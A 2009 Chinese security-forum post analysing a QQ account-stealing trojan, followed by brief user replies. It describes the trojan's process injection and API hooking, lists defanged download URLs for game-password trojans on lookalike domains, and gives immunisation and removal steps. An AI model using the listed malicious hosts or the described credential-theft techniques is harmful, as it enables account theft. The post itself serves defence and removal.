当isignup.sys注入到进程时,首先判断宿主进程,遇到能检测QQ木马的进程直接关掉,遇到VerCLSID.exe就重新启动备份的木马,遇到QQgame.exe,还没开发,可能是以后的方向,遇到Explorer.exe,就建立几个事件,作用有下载一些其他木马(TIMER4),枚举进程,看看有没有某些游戏进程,有就下载相应游戏木马盗号,当然要木马生成3天后(TIMER2,TIMER1,这个过程应该是木马生成器的作者自己加的功能,因为这是盗QQ的生成器),并建立真正的全局钩子,盗取QQ号(这里我没试验,有点怀疑,在NP运行的情况下能盗QQ号?),遇到宿主是QQ,HOOK QQHelperdll.dll和QQBaseClassInDll.dll模块的ShellExecuteA这个API,用来获取QB,IP,地理位置等信息。

木马建立了一个ListBox,"qqjddExe"为木马启动的标志

免疫木马的方法,建一个ListBox,Title="qqjddExe"


木马自己还下载一些盗游戏帐号的木马,列表如下
009B04DC hXXp://updates.microvsoft.com/pic/up/down/updates.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/moshou.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/rxjh.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/mhxy.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/zhengtu.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/wulin.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/wanmei.exe

009B0520 hXXp://rsing.micicsoft.com/pic/up/gamedown/woool.exe


如何清除:
用工具,360卫士可以清除,清除后重启,然后删除3个隐藏文件
C:\Program Files\Internet Explorer\Connection Wizard\的
icwres.ocx
isignup.dll
isignup.sys
即可

手工可以这么做
删除注册表中的目录
HKEY_CLASSES_ROOT\CLSID\{B8A170A8-7AD3-4678-B2FE-F2D7381CC1B5}

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B8A170A8-7AD3-4678-B2FE-F2D7381CC1B5}

删除
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager
下的PendingFileRenameOperations
这项

然后重新启动删除3个隐藏文件
C:\Program Files\Internet Explorer\Connection Wizard\的
icwres.ocx
isignup.dll
isignup.sys
即可
作者: wwgywl    时间: 2009-1-23 19:11

这么多 啊,很多看不懂哦
辛苦了
还是顶顶吧
作者: katia2004    时间: 2009-1-23 19:11

着个好用么?要是真的就:handshake
┌. 自己選恴路. ,.
,.就祘罒. 跪着莪也要赱
作者: 山^鹰    时间: 2009-1-23 19:11

LZ辛苦了`
可惜我太不懂~哎!!:L
作者: richy    时间: 2009-1-23 19:11

果然有高手啊
:) :) :) :)




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2